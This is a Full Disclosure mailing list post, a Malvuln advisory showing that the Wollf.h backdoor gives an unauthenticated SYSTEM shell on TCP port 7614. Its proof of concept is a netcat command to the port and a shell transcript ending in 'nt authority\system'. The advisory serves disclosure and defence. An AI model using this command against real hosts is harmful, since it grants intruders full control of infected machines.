full-disclosure - [FD] Backdoor.Win32.Wollf.h / Unauthenticated Remote Command Execution

Open Source and information security mailing list archives

Message-ID: <CAAHK0WQHL1ro6hCyFHhcSOKX5DVLOH=jpgNKFvkqUXxhveGtng@mail.gmail.com>
Date: Thu, 9 Sep 2021 16:15:31 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Wollf.h / Unauthenticated Remote Command
	Execution

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/d0fd60516d53b2ad602c460351dbaa85.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Wollf.h
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 7614 installs a service named
WRM. Third-party attackers who can reach the system can get a shell with
SYSTEM integrity, switch to DOS prompt mode and run any OS commands
re-compromising the already infected system.
Type: PE32
MD5: d0fd60516d53b2ad602c460351dbaa85
Vuln ID: MVID-2021-0340
Dropped files: wrm.exe
Disclosure: 09/09/2021

Exploit/PoC:
nc64.exe x.x.x.x 7614
"Wollf Remote Manager" v1.6
Code by wollf, http://www.xfocus.org

[DESKTOP-2C3IQHO@C:\WINDOWS\system32]#DOS

C:\WINDOWS\system32>whoami
whoami
nt authority\system

C:\WINDOWS\system32>

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives